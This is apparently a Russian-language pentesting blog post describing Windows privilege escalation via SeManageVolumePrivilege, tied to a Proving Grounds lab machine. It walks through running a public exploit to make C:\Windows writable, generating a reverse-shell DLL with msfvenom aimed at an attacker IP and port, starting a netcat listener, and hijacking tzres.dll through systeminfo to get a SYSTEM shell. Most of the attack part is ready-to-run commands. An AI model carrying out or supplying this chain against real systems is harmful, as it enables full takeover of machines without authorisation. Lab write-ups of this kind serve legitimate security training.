SeManageVolumePrivilege #
Привилегия SeManageVolumePrivilege — это привилегия в Windows, которая позволяет пользователю выполнять определенные действия с томами файловой системы, такие как монтирование, размонтирование, обрезка (truncate) журнала NTFS, а также прямой доступ к содержимому дисков. Это дает возможность выполнять операции на уровне файловой системы без проверки стандартных правил доступа, что может быть использовано для повышения привилегий.
whoami /priv #
Имея данную привелегию, мы можем с помощью эксплоита сделать так, чтобы директория C:\Windows стала доступна на запись всем пользователям. И далее у нас появится возможность подменить DLL на другую с reverse shell внутри и спровоцировать его исполнение.
exploit #
Для того, чтобы получить возможность записи C:\Windows, воспользуемся эксплоитом.
.\SeManageVolumeExploit.exe
Отлично! Права на запись получены.
payload #
Теперь с помощью msfvenom сгенерируем reverse shell и сохраним его в dll.
msfvenom -a x64 -p windows/x64/shell_reverse_tcp LHOST=192.168.45.199 LPORT=5555 -f dll -o tzres.dll
И скопируем tzres.dll на целевой хост.
reverse shell #
Сразу запустим netcat на нашем хосте на порту 5555.
nc -nvl -p 5555
Теперь нам надо каким то образом запустить tzres.dll с правами системы.
Для этого воспользуемся способом описанным здесь.
SeManageVolumePrivilege to SYSTEM
Все что нужно сделать это скопировать DLL в C:\Windows\System32\wbem\tzres.dll и вызвать команду systeminfo. Изначально tzres.dll отсутствует по данному пути, в чем можно убедиться на скришноте ниже.
Копируем:
Copy-Item -Path C:\Temp\tzres.dll -Destination C:\Windows\System32\wbem\tzres.dll
И запускаем:
systeminfo
Не обращайте внимание на ошибку, на самом деле все отработало успешно и мы получили reverse shell в другой консоли, где был ранее запущен netcat.
Данную технику для повышения привелегий я использовал при прохождении машины Access на площадке Proving Grounds. Предлагаю ознакомиться с этим write-up ниже по ссылке.
Подписывайтесь на мой Telegram канал Breach_Zone и твиттер Breach_Zone!